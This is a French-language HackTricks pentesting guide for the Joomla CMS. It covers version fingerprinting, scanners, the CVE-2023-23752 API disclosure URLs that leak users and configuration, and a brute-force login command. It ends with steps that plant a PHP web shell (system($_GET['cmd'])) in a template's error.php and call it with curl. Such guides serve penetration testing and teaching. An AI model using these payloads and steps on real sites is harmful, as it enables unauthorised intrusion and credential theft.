hacktricks/network-services-pentesting/pentesting-web/joomla.md

5 KiB

Joomla

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Statistiques Joomla

Joomla collecte certaines statistiques d'utilisation anonymes telles que la répartition des versions de Joomla, PHP et de la base de données, ainsi que les systèmes d'exploitation serveur utilisés sur les installations Joomla. Ces données peuvent être interrogées via leur API.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}

Énumération

Découverte/Empreinte

  • Vérifiez les méta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Version

  • Dans /administrator/manifests/files/joomla.xml, vous pouvez voir la version.
  • Dans /language/en-GB/en-GB.xml, vous pouvez obtenir la version de Joomla.
  • Dans plugins/system/cache/cache.xml, vous pouvez voir une version approximative.

Automatique

droopescan scan joomla --url http://joomla-site.local/

Dans la section 80,443 - Méthodologie de test d'intrusion Web se trouve des scanners de CMS qui peuvent analyser Joomla.

Divulgation d'informations non authentifiées de l'API :

Les versions de 4.0.0 à 4.2.7 sont vulnérables à la divulgation d'informations non authentifiées (CVE-2023-23752) qui permettront de récupérer des identifiants et d'autres informations.

  • Utilisateurs : http://<host>/api/v1/users?public=true

  • Fichier de configuration : http://<host>/api/index.php/v1/config/application?public=true

Module MSF : scanner/http/joomla_api_improper_access_checks ou script ruby : 51334

Brute-Force

Vous pouvez utiliser ce script pour tenter une attaque par force brute sur la connexion.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

Si vous parvenez à obtenir les identifiants d'administrateur, vous pouvez exécuter du code à distance à l'intérieur en ajoutant un extrait de code PHP pour obtenir RCE. Nous pouvons le faire en personnalisant un modèle.

  1. Cliquez sur Templates en bas à gauche sous Configuration pour ouvrir le menu des modèles.
  2. Cliquez sur un nom de modèle. Choisissons protostar sous l'en-tête de colonne Template. Cela nous amènera à la page Templates: Customise.
  3. Enfin, vous pouvez cliquer sur une page pour afficher le code source. Choisissons la page error.php. Nous ajouterons une instruction PHP en une ligne pour exécuter du code comme suit :
  4. system($_GET['cmd']);
  5. Enregistrer & Fermer
  6. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id